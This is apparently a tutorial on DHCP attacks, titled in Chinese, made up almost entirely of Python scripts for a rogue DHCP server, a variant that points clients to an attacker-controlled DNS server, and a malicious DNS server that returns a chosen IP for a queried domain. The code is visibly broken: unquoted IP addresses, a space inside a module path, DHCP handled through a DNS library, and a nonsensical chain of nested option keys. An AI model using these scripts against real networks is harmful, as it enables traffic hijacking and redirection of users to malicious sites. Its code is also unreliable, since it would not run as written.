网络安全中的DHCP攻击

import dnspython.dns as dns
import socket
import random

class RogueDHCPServer:
    def __init__(self, interface='eth0', range_start=192.168.1.20, range_end=192.168.1.50):
        self.interface = interface
        self.range_start = range_start
        self.range_end = range_end

    def start(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((self.interface, 67))

        while True:
            packet, addr = self.sock.recvfrom(1024)
            if packet:
                dhcp_packet = dns.dns packet.DHCP(packet)

                if dhcp_packet.options['message type'] == 1:
                    # DHCPDISCOVER
                    dhcp_packet.options['message type'] = 2
                    dhcp_packet.options['server identifier'] = (self.interface, 67)
                    dhcp_packet.options['ip address lease time'] = 3600
                    dhcp_packet.options['subnet mask'] = (255.255.255.0,)
                    dhcp_packet.options['router'] = (self.range_start,)
                    dhcp_packet.options['domain name server'] = (self.range_start.replace('.', '.'),)

                    self.sock.sendto(dhcp_packet.to_wire(), addr)

                elif dhcp_packet.options['message type'] == 3:
                    # DHCPREQUEST
                        if dhcp_packet.options['requested ip address'] == int(dhcp_packet.options['ciq ciq_ciq option_data']['ciq ciq_circuit id']['ciq ciq_ciq_circuit_id']['ciq ciq_ciq_id']['ciq ciq_ciq_id']['ciq ciq_ciq_name'].replace('.', '')):
                            dhcp_packet.options['message type'] = 5
                            dhcp_packet.options['ip address lease time'] = 3600
                            dhcp_packet.options['server identifier'] = (self.interface, 67)

                            self.sock.sendto(dhcp_packet.to_wire(), addr)

if __name__ == '__main__':
    rogue_dhcp = RogueDHCPServer()
    rogue_dhcp.start()
Next, let's move on to DNS poisoning. We will modify the DHCP response to redirect clients to a malicious DNS server, which will return the IP addresses of malicious websites.
Here's an updated Python script for the rogue DHCP server:
import dnspython.dns as dns
import socket
import random

class MaliciousDHCPServer:
    def __init__(self, interface='eth0', range_start=192.168.1.20, range_end=192.168.1.50):
        self.interface = interface
        self.range_start = range_start
        self.range_end = range_end

    def start(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((self.interface, 67))

        while True:
            packet, addr = self.sock.recvfrom(1024)
            if packet:
                dhcp_packet = dns.dns packet.DHCP(packet)

                if dhcp_packet.options['message type'] == 1:
                    # DHCPDISCOVER
                    dhcp_packet.options['message type'] = 2
                    dhcp_packet.options['server identifier'] = (self.interface, 67)
                    dhcp_packet.options['ip address lease time'] = 3600
                    dhcp_packet.options['subnet mask'] = (255.255.255.0,)
                    dhcp_packet.options['router'] = (self.range_start,)
                    dhcp_packet.options['domain name server'] = (self.range_start.replace('.', '.'),)

                    # Redirect to a malicious DNS server
                    dhcp_packet.options['domain name server'] = ('192.168.1.100',)

                    self.sock.sendto(dhcp_packet.to_wire(), addr)

                elif dhcp_packet.options['message type'] == 3:
                    # DHCPREQUEST
                        if dhcp_packet.options['requested ip address'] == int(dhcp_packet.options['ciq ciq_ciq option_data']['ciq ciq_circuit id']['ciq ciq_circuit_id']['ciq ciq_ciq_id']['ciq ciq_ciq_id']['ciq ciq_ciq_name'].replace('.', '')):
                            dhcp_packet.options['message type'] = 5
                            dhcp_packet.options['ip address lease time'] = 3600
                            dhcp_packet.options['server identifier'] = (self.interface, 67)

                            # Redirect to a malicious DNS server
                            dhcp_packet.options['domain name server'] = ('192.168.1.100',)

                            self.sock.sendto(dhcp_packet.to_wire(), addr)

if __name__ == '__main__':
    rogue_dhcp = MaliciousDHCPServer()
    rogue_dhcp.start()
Now, let's create a malicious DNS server that will respond with IP addresses of malicious websites.
Here's a Python script for a malicious DNS server using the dnspython library:
import dnspython.dns as dns
import socket

class MaliciousDNS:
    def __init__(self, interface='eth0', ip_addr='192.168.1.100'):
        self.interface = interface
        self.ip_addr = ip_addr

    def start(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((self.interface, 53))

        while True:
            packet, addr = self.sock.recvfrom(1024)
            if packet:
                dns_packet = dns.dns packet.Packet(packet)

                if dns_packet.qd:
                    if dns_packet.qd[0].name == 'example.com':
                        # Respond with a malicious IP address
                        response = dns.dns.message.make_response(dns_packet)
                        response.answer.append(dns.dns.rrset.from_text('example.com', 3600, dns.dns.rdataclass.IN, dns.dns.rdatatype.A, ['192.168.1.101']))

                        self.sock.sendto(response.to_wire(), addr)

if __name__ == '__main__':
    malicious_dns = MaliciousDNS()
    malicious_dns.start()